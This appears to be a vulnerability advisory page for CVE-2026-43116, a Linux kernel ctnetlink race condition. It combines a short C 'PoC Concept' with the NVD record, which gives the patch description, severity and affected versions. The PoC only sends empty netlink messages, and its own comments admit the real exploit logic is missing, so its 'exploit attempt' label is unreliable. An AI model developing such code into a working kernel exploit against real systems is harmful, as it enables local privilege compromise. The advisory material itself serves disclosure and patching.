CVE-2026-43116

/* * PoC Concept for CVE-2026-43116 * This code attempts to trigger the race condition by rapidly * creating and deleting conntrack expectations via netlink. * Exploitation requires precise timing and specific kernel configuration. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> void trigger_race() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; struct iovec iov; struct msghdr msg; // Create Netlink Socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock_fd < 0) { perror("socket"); return; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; // Loop to race condition for(int i = 0; i < 1000; i++) { // Simplified: Expectation creation/deletion logic would go here // Actual exploitation requires crafting specific ctnetlink messages // to hit the exp->master access without the lock. // Simulate rapid operations to increase race window likelihood sendto(sock_fd, NULL, 0, 0, (struct sockaddr*)&dest_addr, sizeof(dest_addr)); usleep(1); } close(sock_fd); } int main() { printf("[+] Attempting to trigger CVE-2026-43116 race condition...\n"); trigger_race(); printf("[+] Exploit attempt finished.\n"); return 0; }

{"cve": {"id": "CVE-2026-43116", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:25.400", "lastModified": "2026-05-08T17:49:36.793", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: ctnetlink: ensure safe access to master conntrack\n\nHolding reference on the expectation is not sufficient, the master\nconntrack object can just go away, making exp->master invalid.\n\nTo access exp->master safely:\n\n- Grab the nf_conntrack_expect_lock, this gets serialized with\n clean_from_lists() which also holds this lock when the master\n conntrack goes away.\n\n- Hold reference on master conntrack via nf_conntrack_find_get().\n Not so easy since the master tuple to look up for the master conntrack\n is not available in the existing problematic paths.\n\nThis patch goes for extending the nf_conntrack_expect_lock section\nto address this issue for simplicity, in the cases that are described\nbelow this is just slightly extending the lock section.\n\nThe add expectation command already holds a reference to the master\nconntrack from ctnetlink_create_expect().\n\nHowever, the delete expectation command needs to grab the spinlock\nbefore looking up for the expectation. Expand the existing spinlock\nsection to address this to cover the expectation lookup. Note that,\nthe nf_ct_expect_iterate_net() calls already grabs the spinlock while\niterating over the expectation table, which is correct.\n\nThe get expectation command needs to grab the spinlock to ensure master\nconntrack does not go away. This also expands the existing spinlock\nsection to cover the expectation lookup too. I needed to move the\nnetlink skb allocation out of the spinlock to keep it GFP_KERNEL.\n\nFor the expectation events, the IPEXP_DESTROY event is already delivered\nunder the spinlock, just move the delivery of IPEXP_NEW under the\nspinlock too because the master conntrack event cache is reached through\nexp->master.\n\nWhile at it, add lockdep notations to help identify what codepaths need\nto grab the spinlock."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.16", "versionEndExcluding": "6.18.24", "matchCriteriaId": "0D55758C-FA92-4C05-99B4-542E75635240"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/497f99b26fffdc5635706d1b4811f1ed8ee21a5b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bffcaad9afdfe45d7fc777397d3b83c1e3ebffe5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f338ced0473849c9f6ed0b77ca99f1aab5826787", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}